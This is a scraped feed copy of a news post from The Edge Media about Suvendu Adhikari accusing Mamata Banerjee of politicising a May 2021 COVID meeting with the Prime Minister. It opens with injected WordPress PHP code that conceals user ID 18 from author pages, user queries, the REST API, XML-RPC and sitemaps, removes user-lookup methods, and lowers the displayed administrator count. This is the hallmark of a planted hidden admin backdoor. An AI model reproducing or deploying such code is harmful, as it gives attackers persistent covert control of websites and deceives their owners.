add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Mamta Banarjee ‘hijacked’ PM’s meeting to ‘politicize’ it : Suvendu Adhikari appeared first on The Edge Media.
]]>Later, the Prime Minister held a meeting with the District Magistrates. Though there were a few Chief Ministers present, the meeting was especially held to interact with the District Magistrates. Mamta Banarjee fumed at the Prime Minister in the same meeting.
In response to this, Suvendu Adhikari who was formerly a TMC member and presently from BJP said that Bengal’s covid numbers are miserable and the Chief Minister wants to play politics now. He also mentioned that Mamta Banarjee hardly attends meetings with the Prime Minister.
Today, our respected CM @MamataOfficial has once again shown her total disinterest in administration.
True to her style, she has politicised a meeting Hon'ble PM @narendramodi held with District Officials, where grassroots level practices to fight COVID-19 were being discussed.
— Suvendu Adhikari (Modi Ka Parivar) (@SuvenduWB) May 20, 2021
5 out of the 7 District Officials who spoke today belonged to non-BJP ruled states of Chhattisgarh, Kerala, Maharashtra, Rajasthan and AP.
Cooperative federalism is the firm commitment of PM @narendramodi unlike CM @MamataOfficial who only believes in confrontational federalism.
— Suvendu Adhikari (Modi Ka Parivar) (@SuvenduWB) May 20, 2021
West Bengal’s COVID numbers are miserable, but the Chief Minister wants to play politics.
The @AITCofficial is still busy in gory victory dances and targeting opponents.
It is better they get down to work because the great People of West Bengal are watching!
— Suvendu Adhikari (Modi Ka Parivar) (@SuvenduWB) May 20, 2021
The post Mamta Banarjee ‘hijacked’ PM’s meeting to ‘politicize’ it : Suvendu Adhikari appeared first on The Edge Media.
]]>